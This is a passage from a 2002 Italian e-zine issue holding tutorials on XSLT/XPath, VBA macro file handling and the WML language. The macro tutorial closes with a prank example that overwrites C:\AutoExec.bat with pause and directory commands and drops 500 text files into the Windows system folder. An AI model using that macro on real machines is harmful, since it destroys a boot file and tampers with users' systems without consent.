| metodi: |
| - E possibile trasformare il documento XML in un documento XHTML, per |
| poi farlo visualizzare in qualsiasi browser. |
| - E possibile usare gli XSL Formatting Objects, che definiscono il |
| formato di visualizzazione senza presupporre la trasformazione in |
| HTML o in altri linguaggi di presentazione. |
| |
| . trasformatore > Questa funzionalità, del tutto nuova, è la più |
| interessante. Con XSLT è possibile modificare al volo la |
| struttura che accoglie i dati, e in parte anche i dati stessi. |
| Questo permette, ad esempio: |
| |
| - di offrire viste differenti sugli stessi dati a utenti differenti. |
| - di esportare i dati in un formato noto, come HTML o PDF. |
| - di adattare i dati a diversi dispositivi di visualizzazione (vedasi |
| HTML e WML). |
| |
| Bene... dopo aver detto questo, analizziamo un pò le XPath!! cosa dire |
| in proposito,è un linguaggio che permette di indirizzare parti di un |
| documento XML. XPath dispone anche di primitive per eseguire semplici |
| operazioni su stringhe, numeri e valori booleani.Inoltre, le |
| espressioni XPath possono avere come valore numeri, stringhe, booleani |
| e insiemi di nodi.ok? Dal punto di vista di XPath, il documento XML è |
| un albero... ogni elemento, commento, attributo, PI o stringa di testo |
| (non-markup) è un nodo dellalbero capito il concetto? andiamo |
| avanti... Le relazioni tra i nodi sono semplici: |
| |
| - Un elemento nidificato è un nodo figlio dellelemento che lo |
| contiene. |
| - Un attributo è figlio del suo elemento. |
| - Commenti e PI e testo sono figli dellelemento che li contiene (o |
| del documento*). |
| |
| Allora ragazzi ci tengo a precisare che per scrivere queste poche |
| righe ci ho messo 2 giorni, dato il fatto che sul manule che tengo io, |
| questi concetti sono espressi in 16 pagine hihihihhihihi vabbè a voi |
| va un pò meglio! comunque vorrei esprimere un mio parere, qua più |
| andiamo avanti più diventa difficile! ma non ci demoralizziamo, |
| dopotutto chi si arrende è perduto :) CONTINUIAMO!! Volete sapere come |
| si intitola il prossimo paragrafetto? ora subito ve lo dico .... |
| XPath: Gli Assi vi interessa? spero di si perchè adesso sto per |
| cominciare a spiegare rimanendo in tema dell'albero, i rami e i figli, |
| diciamo che muovendosi sullalbero del documento, XPath permette di |
| scegliere non solo tra i figli del nodo corrente, ma anche tra una |
| serie di altri insiemi di nodi che sono in relazione con esso. ok? |
| Questi insiemi di nodi si dicono assi. Ogni passo di una espressione |
| XPath può avvenire su un asse arbitrario a partire dal nodo corrente |
| (o contesto).Lasse degli elementi figli diretti è lasse predefinito, |
| ed esistono scorciatoie per raggiungere lasse degli attributi: |
| |
| - ancestor >> Contiene il padre del nodo, il padre del padre, ecc
|
| |
| - ancestor-or-self >> Come ancestor, ma contiene anche il nodo |
| corrente. |
| |
| - attribute >> Contiene gli attributi del nodo corrente. |
| |
| - child >> Contiene gli elementi direttamente nodificati nel nodo |
| corrente. |
| |
| - descendant >> Contiene tutti gli elementi nidificati nel nodo |
| corrente (con livello di nidificazione arbitrario). |
| |
| - descendant-or-self >> Come descendant, ma contiene anche il nodo |
| corrente. |
| |
| - following >> Contiene tutti i nodi che si trovano dopo quello |
| corrente allinterno del documento, esclusi i |
| discendenti, gli attributi del nodo e i namespaces. |
| |
| - following-sibling >> Contiene tutti i nodi che hanno lo stesso |
| livello di nidificazione nellelemento padre |
| di quello corrente e sono posti dopo di esso |
| (fratelli). |
| |
| - namespace >> Contiene i nodi namespaces dichiarati per lelemento |
| corrente. |
| |
| - parent >> Contiene il padre dellelemento corrente. |
| |
| - preceding >> Contiene tutti i nodi che si trovano prima quello |
| corrente allinterno del documento, esclusi i suoi |
| antenati (ancestors), gli attributi del nodo e i |
| namespaces. |
| |
| - preceding-sibling >> Contiene tutti i nodi che hanno lo stesso |
| livello di nidificazione nellelemento padre |
| di quello corrente e sono posti prima di esso. |
| |
| - self >> Contiene il nodo corrente. |
| |
| Se posso darvi un consiglio memorizzate questo schema che vi ho fatto |
| perchè non se ne trovano molti on-line :) dopodichè continuiamo |
| Allora ragazzi... per individuare un particolare nodo su un asse, si |
| usano il suo tipo e/o il suo nome tramite i cosiddetti node tests. In |
| entrambi i casi, il risultato può anche essere un insieme di nodi, nel |
| caso sullasse siano disponibili più nodi con lo stesso tipo e/o nome. |
| Nel caso si lavori su un insieme di nodi, tutte le operazioni vengono |
| applicate iterativamente a ciascun nodo, e il risultato è linsieme |
| dei nodi risultanti dalle applicazioni... allora,i tipi di nodo sono |
| i seguenti: |
| |
| . elemento |
| . attributo |
| . namespace |
| . commento |
| . processing-instruction |
| |
| Inoltre, ogni asse ha un tipo predefinito: |
| |
| - se lasse contiene elementi, il tipo predefinito è elemento |
| - se lasse non contiene elementi ma contiene attributi, il tipo |
| predefinito è attributo |
| - se lasse non contiene elementi ma contiene namespaces, il tipo |
| predefinito è attributo |
| Insomma ragazzi il ragionamento è molto semplice :) ... adesso se voi |
| pemettete, possiamo continuare a studiare hihihiih |
| Per indicare tutti i nodi con un particolare tipo, si usano opportuni |
| test: |
| |
| comment() |
| node() |
| processing-instruction() |
| text() |
| |
| I test restituiscono linsieme dei nodi con quel particolare tipo |
| presenti sullasse. Il risultato è un insieme di nodi, ciascuno dei |
| quali può essere ulteriormente attraversato usando XPath... ok? |
| |
| Bene bene, ragazzi non ci crederete ma siamo a buon punto... la |
| prossima cosa che andiamo ad analizzare sono i nomi... cosa significa? |
| vediamo un pò: alcuni nodi possiedono anche un loro nome: i nodi |
| elemento e attributo hanno il nome dellelemento e dellattributo |
| stessi... so che può sembrare più chimica che informatica ma una |
| volta capito il concetto è sempre lo stesso!! Per indicare il nodo |
| con un particolare nome, si usa semplicemente il nome stesso come |
| test. Lo speciale test * fa match con tutti i nodi accessibili |
| sullasse, con qualunque nome.I test restituiscono linsieme dei nodi |
| con quel particolare nome presenti sullasse!! |
| ok... passiamo adesso agli step :) non vi preoccupate non è niente di |
| mostruoso... Una espressione XPath consiste in una serie di step |
| (passi) costituiti da node tests, ognuno su un proprio asse, |
| separati da uno slash /, in maniera simile agli URI. |
| |
| collezione/node()/cd/artista |
| Ogni passo agisce sullinsieme di nodi (contesto) ottenuto dal passo |
| precedente. Il primo passo ha un contesto fornito dall ambiente, |
| o la radice del documento se il path inizia esso stesso con uno |
| slash. |
| |
| /collezione/cd/artista |
| Negli esempi proposti prima lasse di movimento era sempre quello di |
| default (child). Per muoversi su un altro asse, basta prefissare il |
| nome del nodo con il nome dellasse: |
| |
| collezione/descendant::cd/attribute::ID |
| Esistono delle scorciatoie per i tre assi più usati: |
| |
| descendants:: si abbrevia con uno slash / (/descendants:: si |
| scrive // ) |
| |
| attribute:: si abbrevia con una chiocciola @ |
| |
| self:: si abbrevia con un punto . |
| |
| collezione//cd/@ID |
| |
| hhahahaha qui la situazione è diventata critica per molti di voi, ne |
| sono sicuro, soprattutto se siete alle prime armi!! ma non ve ne fate |
| un problema, rileggetelo un paio di volte e la difficoltà svanisce :) |
| consigli d'autore... dovrei farmi pagare hhihihihihi ... quando avete |
| capito quanto riportato qui in alto possiamo continuare nei nostri |
| studi :) |
| XPath: I Filtri |
| - I Filtri agiscono sugli insiemi di nodi, selezionandone una parte |
| secondo particolari criteri. |
| - Il risultato di un filtro è linsieme dei nodi filtrati. |
| - In ciascuno step si possono inserire un numero arbitrario di filtri, |
| che vengono richiamati nellordine in cui si presentano. |
| - I filtri vanno posti nello step sempre dopo il suo node test. |
| - Allinterno del filtro si possono usare espressioni che abbiano |
| valore booleano (vero / falso). |
| - Lespressione del filtro viene valutata usando ciascun nodo del set |
| come contesto,e se vale true il nodo viene aggiunto allinsieme dei |
| risultati. |
| - Esistono due eccezioni: |
| . Se lespressione restituisce un numero, viene selezionato il nodo |
| in quella posizione nellinsieme (gli insiemi di nodi sono |
| ordinati). |
| . Se lespressione restituisce un insieme di nodi, allora vale true |
| se linsieme non è vuoto. |
| |
| Allinterno dei filtri si possono usare come operandi: |
| |
| -Espressioni XPath (compresi altri filtri nidificati!), che vengono |
| valutate usando come contesto ciascun nodo dellinsieme di input. |
| -Il valore di una espressione XPath, se usata con operatori di |
| confronto, è il testo in essa contenuto (valore dellattributo o |
| testo allinterno dellelemento). Se lespressione è un insieme, |
| XPath restituisce true se cè almeno un suo elemento che soddisfi il |
| test. |
| -Costanti numeriche o stringhe tra virgolette. |
| |
| Ma soprattutto ragazzi, si possono usare vari operatori e qui viene |
| il bello :) |
| |
| Confronto |
| |
| = (uguale), != (diverso), > (maggiore), >= (maggiore o |
| uguale), |
| < (minore), <= (minore o uguale). |
| |
| Logici |
| |
| and, or, not(
) |
| |
| Insiemistici |
| |
| | (unione). |
| |
| Raggruppamento |
| |
| (
) |
| |
| Matematici |
| |
| +, -, *, /, mod |
| |
| Ci siamo capiti?!? Spero bene... perchè sinceramente più andiamo |
| avanti in questo studio, io più mi esaurisco!! spero voi non siate |
| come me!! l'unica cosa che mi spinge a continuare a scrivere notte e |
| giorno, è il fatto che un giorno o l'altro voi leggerete questo |
| tutorial!! hihihihi ok non perdiamoci in inutili parole e analizziamo |
| ancora questo "linguaggio" ... ora proporrei di vederne le struttura |
| ok? ke ne dite? duqnue un documento XSLT, come ogni documento XML, |
| inizia con una dichiarazione XML. |
| <?xml version="1.0" encoding="UTF-8"?> |
| ok ci siamo, se il documento deve emettere HTML o un altro linguaggio, |
| bisogna dichiarare entrambi i namespaces. Di solito il linguaggio |
| target viene usato come default namespace, quindi tutti gli elementi |
| XSLT vanno prefissati con il loro namespace (xsl:) e fin qui direi |
| che è tutto chiaro giusto? ma passiamo a vedere un pò i Template... |
| un template è una subroutine di trasformazione. LXPath fornito |
| dallattributo match viene usato per filtrare il contesto: tutti i |
| nodi filtrati vengono elaborati nel template. |
| <template match="song">...</template> |
| semplice vero? Ogni stylesheet (root) deve avere un template con |
| match=/, la sua procedura main, che viene chiamata allavvio con |
| tutto il documento come insieme di nodi. <template match="/"> |
| ok si può fare... continuiamo pure ... naturalmente, un template può |
| venir chiamato da un altro in due modi: per nome o per selezione |
| |
| in questo modo richiama il template con lattributo name dato. In |
| questo caso lattributo match del template è ignorato. |
| <call-template name="..."/> |
| |
| in quest'altro, richiama il template che fa match con i nodi |
| selezionati da e nel contesto corrente (opzionale) e con attributo |
| mode uguale a quello dato (opzionale). |
| <apply-templates select="e" mode="m"/> |
| |
| ok... tutto comprensibile fin ora!! direi che si può proseguire :) |
| passiamo adesso agli Output di Valori: Per trascrivere nel documento |
| di output i valori dei nodi XML si usa la funzione |
| <value-of select="e"/> |
| "e" è un XPath. Il valore del suo risultato, come definito nella |
| specifica XPath, viene trascritto nel documento. |
| |
| Per quanto riguarda invece gli Output di Markup tutto quello che |
| dobbiamo dire è che: tutto ciò che non è un elemento XSLT nel foglio |
| di stile viene copiato in output quando il parser lo incontra. In |
| questo modo è possibile inserire markup HTML o di un altro linguaggio |
| direttamente nello stylesheet e che se il valore di un attributo o |
| il nome di un elemento devono essere generati dinamicamente (in base |
| al contenuto del documento), si possono usare gli elementi |
| <attribute name="nome">
valore
</attribute> |
| <element name="{espressione}">
valore
</element> |
| |
| Ragazzi, sono lieto di affermare che abbiamo quasi finito :) ci |
| rimangono da analizzare soltanto l'Iterazione e l'Applicazione |
| condizionale quindi scorciamoci le maniche e diamoci da fare ci siamo |
| quasi. Per iterare sugli elementi di un insieme di nodi è disponibile |
| la funzione: |
| <for-each select="xpath">...</for-each> |
| |
| Il frammento di stylesheet allinterno dellelemento viene applicato |
| a tutti i nodi selezionati dallXPath specificato.E possibile |
| ordinare linsieme dei nodi prima di applicarvi il frammento di |
| stylesheet inserendo, immediatamente dopo il tag di apertura (anche |
| nelle chiamate ai template), elementi del tipo: |
| <sort select= "xpath-ordinamento" order="ascending"/> |
| |
| Per quanto riguarda le applicazioni condizionali, diciamo che esistono |
| due costrutti XSLT che consentono di eseguire frammenti di stylesheet |
| solo se particolari condizioni sono vere. |
| <if test="xpath-filter">...</if> |
| |
| Allinterno dellattributo test valgono le regole dei filtri di XPath. |
| Se il filtro ha valore vero, il frammento di stylesheet contenuto |
| nellelemento if viene eseguito. In caso contrario, tutto il |
| contenuto dellelemento viene ignorato. |
| |
| <choose> |
| <when test="xpath-filter">
</when> |
| ... |
| <otherwise>
</otherwise> |
| </choose> |
| |
| Ragazzi... direi che pure questo tutorial è finito :( comunque se |
| posso dare la mia opinione, a me è piaciuto fare un viaggetto in XSLT, |
| almeno è una cosa diversa dai soliti linguaggi di programmazione, |
| giusto? Che dirvi io per scriverlo ci ho messo poco tempo, spero che |
| voi lo digeriate abbastanza velocemente! VAbbè ragazzi... adesso vi |
| saluto :) ciao a tutti vi aspetto al prossimo tutorial |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #08 - 01/11/2002 |
| PLUS #2 [Mastro] 0x0C/0x1A |
+--------------------------------------------------------------------------+
| Spero che lo scorso "fuoripista" sia stato interessante. |
| Proseguiamo. |
| |
| --- MANIPOLIAMO --- |
| |
| Prima di tutto mi scuso con i newbies se qualche passaggio non era |
| chiaro, cercherò di semplificare il tutto.. |
| |
| Modificare file da macro? |
| Possibile. Basta utilizzare il comando Open. |
| |
| Open "Nome e percorso del file" For "Modalità" As "#Numero del file" |
| |
| Nome e percorso del file => Credo proprio che la spiegazione non serva |
| Modalità => Potete aprire i file in 5 modi: Append (apre e scrive alla |
| fine del file), Binary (scrive in un file già aperto), Input(idem come |
| Binary), Output (apre e sovrascrive il file) e Random (idem come Input, |
| ma lo apre in modo casuale). |
| #Numero del file => Bisogna assegnare un numero al file che desiderate |
| aprire. Decidetelo voi da 1 a 511. |
| Nel caso che vogliate essere sicuri di non sbagliare, per trovare un |
| numero disponibile, basta utilizzare FreeFile: |
| |
| ---------- |
| Numero = FreeFile |
| Open "Qualcosa" For Append As #Numero |
| ---------- |
| |
| Attenzione: con Input/Binary/Random si può aprire un file già aperto |
| senza generare errore, invece Append/Output necessitano della chiusura |
| del file prima di poterlo riaprire. |
| Non era molto chiaro. Esempio: |
| |
| ---------- |
| Open "Pippo" For Input As #1 |
| Open "Pippo" For Random As #2 'Non dà errore |
| |
| Open "Pippo" For Output As #1 'Dà errore ("File già aperto"), |
| bisogna prima chiudere il file |
| Open "Pippo" For Append As #1 |
| ---------- |
| |
| Vi sono anche dei comandi aggiuntivi opzionali che ho omesso: |
| |
| Open "Nome e percorso del file" For "Modalità" [Access "Tipo di |
| accesso"] [Bloccaggio] As "#Numero del file" [Len = "Lunghezza"] |
| |
| Tipo di accesso => Dichiara le operazioni consentite nel file aperto. |
| Read (leggi), Write(scrivi) e Read Write(leggi e scrivi). |
| Bloccaggio => Dichiara le operazioni consentite da altri processi |
| mentre il file è aperto dalla macro. Shared (condiviso), Lock Read |
| (blocca la lettura), Lock Write (blocca la scrittura) e Lock Read Write |
| (blocca lettura e scrittura). |
| Lunghezza => Lunghezza del file da aprire. |
| |
| Comunque tutte queste opzioni sono facoltative quindi non ci sono |
| problemi anche se le omettete. |
| Ma passiamo alla scrittura vera e propria con Print. |
| Semplicissimo, si assegna la scrittura di un determinato valore ad un |
| file in base al numero che gli abbiamo affibbiato precedentemente. |
| |
| Print #Numero del file, "Quello che volete scriverci" |
| |
| Quindi riassumendo: |
| |
| ---------- |
| Open "Prova.txt" For Output As #1 'Lo apriamo in modalità |
| sovrascrittura. #Numero 1 (assegnato a caso) |
| Print #1, "Ha funzionato?" 'Ci scriviamo |
| Print #1, "Credo proprio di si." |
| Close #1 'Chiudiamo il file in base al |
| numero |
| ---------- |
| |
| Dimenticavo di dire che se il file non esiste viene creato in |
| automatico nel percorso e con il nome che gli avete assegnato. |
| Se non chiudete il file le modifiche non verranno salvate. |
| Print supporta altri 2 comandi: Tab(numero) e Spc(numero). Molto |
| semplicemente il primo equivale alla pressione del tasto TAB per |
| un "numero" di volte, il secondo alla pressione della barra spaziatrice |
| per "numero" volte. |
| Cercate di non dimenticare la virgola dopo Print, altrimenti dà errore. |
| Mettiamo ora il caso che io non voglia modificare un file, ma leggerlo. |
| |
| ---------- |
| Open "Prova.txt" For Input As #1 'Apro il file |
| Line Input #1, Valore 'Leggo i valori sulla |
| prima linea e li assegno ad una variabile di nome "Valore" |
| MsgBox Valore 'Li visualizzo in una |
| MessageBox |
| Close #1 'Chiudo il file |
| ---------- |
| |
| Line Input funziona solo in modalità Input. |
| Ha lo stesso procedimento di Print, gli si assegna il numero del file |
| da leggere ed una variabile che conterrà i dati. |
| Volendo esiste anche il comando Input #Numero, ma più o meno ha lo |
| stesso effetto di Line Input. |
| Se provate il comando noterete che la stringa letta è solo la prima del |
| file, per leggerlo totalmente? |
| |
| ---------- |
| Open "Prova.txt" For Input As #1 'Apro il file |
| Do While Not EOF(1) 'Lo leggo fino a che non |
| arriva alla fine |
| Input #1, Valore 'Memorizzo i dati nella |
| variabile "Valore" |
| MsgBox Valore 'Li visualizzo. |
| Loop 'Ripeti il ciclo |
| Close #1 'Chiudo il file |
| ---------- |
| |
| EOF(Numerofile) => Restituisce un valore che indica se è stata |
| raggiunta la fine del file. |
| Forse non avete chiara la funzione Do..Loop: esegue un'operazione fino |
| a che una condizione non è verificata. |
| |
| ---------- |
| i = 1 'Assegno a "i" valore 1 |
| Do Until i = 5 'Ripete il ciclo fino a |
| che i non arriva a 5 |
| MsgBox "Siamo a " & i 'Evento da eseguire nel |
|
ciclo |
| i = i + 1 'Incremento i |
| Loop 'Ripeto il ciclo |
| MsgBox "Siamo a " & i & ". Fine!" 'Quando i = 5 il ciclo si arresta. |
| ---------- |
| |
| Da notare che alla fine del ciclo "i" non cambia il proprio valore in 1 |
| o si annulla, ma mantiene l'ultimo fissato (5). |
| Se omettete "Until condizione" il ciclo verrà ripetuto all'infinito. |
| Tornando alla lettura del file, ora siamo in grado di leggerlo riga per |
| riga. |
| Prima di terminare occorre un piccolo approfondimento su Print# e |
| Write#: la differenza principale è che il secondo viene utilizzato per |
| scrivere in un file i caratteri letti con l'istruzione Input#. |
| La spiegazione è finita, spero di essere stato chiaro anche per i meno |
| esperti. |
| Un'ultima cosa: ecco un esempio delle cose che potete fare grazie a |
| questi comandi. |
| |
| ---------- |
| Open "C:\AutoExec.bat" For Output As #1 |
| 'Apro AutoExec in sovrascrittura |
| Print #1, "@echo off" |
| 'Ci scrivo |
| Print #1, "pause" |
| Print #1, "cd c:\windows\system" |
| For i = 1 To 500 |
| 'Questo non viene scritto nel file |
| Print #1, "echo Brothers Everywhere, Raise Your Hands Into The Air, |
| We're Warriors, Warriors Of The World>" & i & ".txt" 'Questo sì. Fino a |
| che "i" non arriva a 500. |
| Next i |
| 'Poi |
| Close #1 |
| 'Chiudo il file |
| ---------- |
| |
| Piccole spiegazioni: |
| "@echo off" => non visualizza i comandi nella schermata |
| "pause" => mette in pausa il sistema. |
| "cd c:\windows\system" => ci fa "entrare" nella directory system. |
| "echo qualcosa>altro" => per chi non lo sapesse crea un file |
| chiamato "altro" scrivendoci all'interno "qualcosa". Se fosse |
| stato "@echo pippo >> topolino.txt" avrei scritto "pippo" nel |
| file "topolino.txt" SENZA sovrascriverlo. |
| In questo caso avremo 1.txt, 2.txt, 3.txt, ecc.. fino a 500.txt. |
| |
| |
| Mastro(macro2000@virgilio.it) |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ C0DiNG #08 - 01/11/2002 |
| iMPARiAM0 iL LiNGUAGGi0 WML [cyberdude] 0x0D/0x1A |
+--------------------------------------------------------------------------+
| IMPARIAMO IL LINGUAGGIO WML |
| |
| BY CYBERDUDE |
| |
| >>> PRESENTAZIONE TUTORIAL SUL LINGUAGGIO WML BY CYBERDUDE |
| |
| Benissimo ragazzi
so come sia palloso mettersi a leggere infinite |
| pagine per imparare un linguaggio di programmazione, scripting o |
| qualsiasi altro sia, ed e per questo che provero a spiegarvi un |
| intero linguaggio in pochissime pagine, 13 mi sembra, rendendovi la |
| vita piu facile e spero me ne siate grati!! |
| Adesso non perdiamoci in inutili parole e iniziamo subito il nostro |
| studio del linguaggio WML |
| |
| ----------------------------------------------------------------------- |
| |
| .:: INDICE ::. |
| |
| COS'E' IL WML? CARATTERISTICHE FONDAMENTALI |
| LA SINTASSI DEL WML |
| FORMATTAZIONE |
| PRIMO DECK WML |
| IL TAG "DO" |
| LINK e COLLEGAMENTI |
| TEMPLATE e TIMER |
| LE IMMAGINI IN WML |
| LE VARIABILI |
| DECK: UN ESEMPIO COMPLETO |
| FORM INPUT DELL'UTENTE. Parte 1 |
| FORM INPUT DELL'UTENTE. Parte 2 |
| BEH DIREI CHE 12 PARAGRAFETTI POSSONO BASTARE HIHIHIHHIHIHI :) |
| ----------------------------------------------------------------------- |
| |
| 1 >>> COS'E' IL WML? CARATTERISTICHE FONDAMENTALI |
| |
| Allora ragazzi
Il Wireless Markup Language é il linguaggio con cui |
| vengono progettate le pagine WAP. Sia il linguaggio WML che il |
| linguaggio HTML derivano dal XML (Extensible Markup Language) e ne |
| ereditano le principali caratteristiche. Ok? Il WML è stato progettato |
| su telefoni cellulari che hanno le seguenti caratteristiche: |
| |
| display di dimensioni limitate e con bassa risoluzione; |
| limitate capacità di input (un telefonino ha tipicamente una tastiera |
| numerica e qualche tasto funzione); |
| limitate capacità di elaborazione perché dotati di microprocessori a |
| basso consumo e poca memoria; |
| la rete cui sono collegati offre una banda ristretta e con tempi di |
| attesa lunghi. |
| Diciamo quindi quasi una kiavica ihihihhihihihi :) |
| |
| Un utente naviga attraverso un insieme di pagine, dette card , i deck |
| (sarebbero i comandi) WML possono essere memorizzati in un file |
| statico o in un server di origine o possono essere generati |
| dinamicamente dal server o da un generatore di contenuto. Il micro- |
| browser , pero, deve decidere come presentare gli elementi presenti |
| allinterno di una card in base alle caratteristiche del dispositivo |
| stesso (se si ha a disposizione un display ampio si può scegliere di |
| visualizzare tutte le informazioni della card, altrimenti le si |
| frammenta in più unità). I tag che identificano le istruzioni del |
| linguaggio WML sono anch'essi racchiusi dai simboli '<' e '>' proprio |
| come in HTML. Il WML include inoltre le seguenti caratteristiche: |
| |
| Supporto per testi ed immagini: ampia libertà di scelta per quanto |
| riguarda la rappresentazione dei dati allutente finale. Il WML |
| fornisce diversi modi per formattare il testo (ad esempio grassetto, |
| corsivo, maiuscole,...) e permette di inserire delle immagini. |
| Supporto per linput utente: WML supporta un option selection per |
| presentarsi con una lista di opzioni selezionabili dallutente. |
| Navigazione e Stack History: la navigazione include hyperlink stile |
| HTML. |
| Supporto internazionale: linsieme dei caratteri presenti nei |
| documenti WML è UNICODE. |
| Indipendenza dalla MMI (Man-Machine Interface). |
| Ottimizzazioni per connessioni a banda ristretta: Sono supportati una |
| serie di meccanismi che velocizzano il tempo di risposta e |
| diminuiscono la quantità dei dati scambiati. |
| Gestione dello stato e del contesto: ogni controllo di input WML può |
| introdurre delle variabili. Lo stato delle variabili può essere |
| utilizzato per modificare il contenuto o parametrizzare una card senza |
| dover comunicare con il server. |
| La pagina WML é detta deck é composto da più carte. La card |
| rappresenta la singola unità di navigazione che viene visualizzata dal |
| browser sul display del telefonino WAP, più card possono essere |
| raggruppate in un deck, il deck é la minima unità che viene scaricata |
| dal WAP Server al telefonino. Ogni qualvolta si richiede una "pagina" |
| WML ad un WAP Server, questo invierà al browser tutto il deck, |
| composto di una o più card, e poi ne visualizzerà la prima. |
| |
| Alcuni telefonini non accettano un deck più grande di 1.4 Kbytes. Il |
| WAP gateway comprime il vostro WML in un formato binario più compatto, |
| ma non può fare miracoli. |
| |
| Un primo e molto semplice esempio di pagina WML: |
| |
| <?xml version="1.0"?> |
| <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" |
| "http://www.wapforum.org/DTD/wml_1.1.xml"> |
| <wml> |
| <card id="ciao" title="ciao"> |
| <p> |
| Ciao<br/> |
| Questa e' una card in WML. |
| </p> |
| </card> |
| </wml> |
| |
| |
| |
| 2 >>> LA SINTASSI DEL WML |
| |
| TAG |
| I tag sono i descrittori del linguaggio WML. Il tag descrive un |
| elemento della pagina WML; é definito da un nome unico e da alcuni |
| attributi specifici. Ciascun tag é racchiuso dai simboli '<' e '>'. |
| HTML permette di inserire una interruzione di linea con il tag <br> |
| mentre il linguaggio WML richiede necessariamente una delle due forme |
| equivalenti: <br></br> o <br/>. |
| |
| ELEMENTO |
| |
| specifica le informazioni sia strutturali che di markup di un deck |
| WML. Possono essere formati da uno start tag, un contenuto specifico, |
| opzionalmente altri elementi quindi un end tag; con la seguente |
| struttura: |
| |
| <tag>contenuto</tag> |
| |
| oppure |
| |
| <tag/> |
| |
| ATTRIBUTO |
| |
| inclusi all'interno dello start tag, di questi alcuni sono obbligatori |
| e vanno sempre indicati, altri invece possono essere opzionali e |
| omessi se non necessari. Il valore dell'attributo deve sempre essere |
| racchiuso tra apici, singoli (') oppure doppi ("), mentre due |
| attributi vanno separati ricorrendo ad uno spazio. |
| |
| <tag attr="valore"/> |
| |
| CARATTERI "SPECIALI" |
| |
| ad esempio i due caratteri < e > che nel testo possono essere |
| utilizzati solo ed esclusivamente per circoscrivere un tag. Esistono |
| però tre modi alternativi che permettono di specificare qualunque |
| carattere del set tramite un formato unico ed indipendente: |
| |
| |
| |
| CARATTERE MNEMONICO |
| |
| " |
| |
| & & |
| |
| ' |
| |
| < < |
| |
| > > |
| |
| |
| |
| |
| |
| INTESTAZIONE DOCUMENTO |
| Tutte le pagine WML devono includere la definizione di tipo XML come |
| prima riga: |
| |
| <?xml version="1.0"?> |
| <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD wml |
| 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml"> |
| |
| La prima riga indica la versione XML che si intende utilizzare, mentre |
| le altre indicano dove si trova il descrittore del linguaggio che ne |
| contiene la sintassi. Alcuni terminali richiedono questa dichiarazione |
| all'inizio del WML, altri no. Meglio comunque specificarlo sempre. |
| |
| COMMENTI |
| Si possono inserire nel testo sorgente della pagina WML alcuni |
| commenti esplicativi proprio come nel HTML. I commenti verranno |
| ignorati dal microbrowser che non li visualizzerà, possono occupare |
| una riga intera oppure solo una parte di essa. |
| |
| <!-- commento --> |
| |
| Non é possibile "nidificare" più commenti, uno dentro l'altro. |
| |
| |
| |
| 3 >>> FORMATTAZIONE |
| |
| SPAZI |
| I caratteri Newline (hex. 10), Carriage Return (hex. 1D), Space (hex. |
| 20) e Tab (hex. 9) sono tutti considerati indifferente come spazi. |
| |
| TAG "p" |
| |
| delimita un paragrafo |
| |
| <p [align="left|center|right"]>...</p> |
| |
| left: allinea il testo a sinistra |
| center: allinea il testo al centro |
| right: allinea il testo a destra |
| |
| ELEMENTI DI FORMATTAZIONE |
| é possibile specificare un tipo particolare di formattazione |
| racchiudendo il testo tra due tag specifici. |
| |
| <em>....</em> testo enfatizzato (italico) |
| <strong>....</strong> testo fortemente enfatizzato (grassetto) |
| <i>....</i> testo italico |
| <b>....</b> testo in grassetto |
| <u>....</u> testo sottolineato |
| <big>....</big> testo ingrandito |
| <small>....</small> testo ridotto |
| |
| <p> |
| Questo testo e' in <i>italico</i> |
| menre questo e' in <b>grassetto</b>. |
| </p> |
| TAG "br" |
| |
| sancisce nel testo l'inizio di una nuova riga. |
| |
| <br/> |
| |
| <p> |
| riga1<br/> |
| riga2 |
| </p> |
| 4 >>> PRIMO DECK WML |
| |
| Definiamo il deck che conterrà le varie card della nostra pagina WML, |
| ed infine definiamo due card. Ecco lo scheletro iniziale della pagina |
| WML: |
| |
| <?xml version="1.0"?> |
| <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD wml 1.1//EN" |
| "http://www.wapforum.org/DTD/wml_1.1.xml"> |
| <wml> |
| |
| <card id="home" title="CYBERWORLD.it"> |
| |
| </card> |
| |
| <card id="info" title="CYBERWORLD.it"> |
| |
| </card> |
| |
| </wml> |
| Completiamo il testo contenuto nelle card, assegnando ad ognuna di |
| esse un nome ed un titolo mediante due attributi. Aprendo il deck |
| verrà visualizzata la card Home, premendo la soft key indicata, sarà |
| possibile navigare alla card successiva, info, e da questa tornare |
| alla precedente. |
| Di seguito il deck completo: |
| |
| |
| |
| <?xml version="1.0"?> |
| <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD wml 1.1//EN" |
| "http://www.wapforum.org/DTD/wml_1.1.xml"> |
| <wml> |
| |
| <card id="home" title="CYBERWORLD.it"> |
| <p> |
| CYBERWorld.it<br/> |
| ...viaggio nel wml...<br/> |
| <anchor title="Info">Info |
| <go href="#info"/> |
| </anchor> |
| </p> |
| </card> |
| |
| <card id="info" title="CYBERWORLD.it"> |
| <p> |
| Benvenuto nel sito WAP di CYBERDUDE.it<br/> |
| <anchor title="Home">Home<br/> |
| <go href="#home"/> |
| </anchor> |
| </p> |
| </card> |
| |
| </wml> |
| |
| |
| E questa e un po la spiegazione di quello che ne viene fuori |
| |
| card 1 (home). Premendo il link Info si passerà alla seconda card. |
| |
| card 2 (info). Premendo il link Home si ritornerà alla prima card |
| |
| N.B. |
| |
| In un deck WML si possono avere più card e quindi più titoli. |
| |
| |
| |
| CARD |
| Come definire una card in un deck WML? La sintassi generale del |
| tag "card" é la seguente: |
| |
| <card id="Nome_card" [title="titolo_da_visualizzare"] |
| [onenterforward="url"] [onenterbackward="url"] [ontimer="url"] |
| >...</card> |
| |
| - ID >> Definisce il nome della card, indispensabile per |
| poterla richiamare. Deve essere unico all'interno del |
| deck e composto da una sola parola |
| |
| - TITLE >> Definisce il titolo della card, se non é |
| indispensabile meglio non utilizzarlo perché |
| comunque occupa una riga del già piccolo display. |
| |
| - ONENTERFORWARD >> Quando un utente accede con il |
| metodo 'go viene automaticamente |
| rediretto proprio verso quel URL |
| |
| - ONENTERBACKWARD >>Quando un utente riaccede con il |
| tasto 'back' viene automaticamente |
| rediretto proprio verso quel URL |
| |
| - ONTIMER >> redirigere l'utente alla pagina specificata come |
| URL in questo attributo allo scadere di un timer |
| di inattività. |
| |
| |
| |
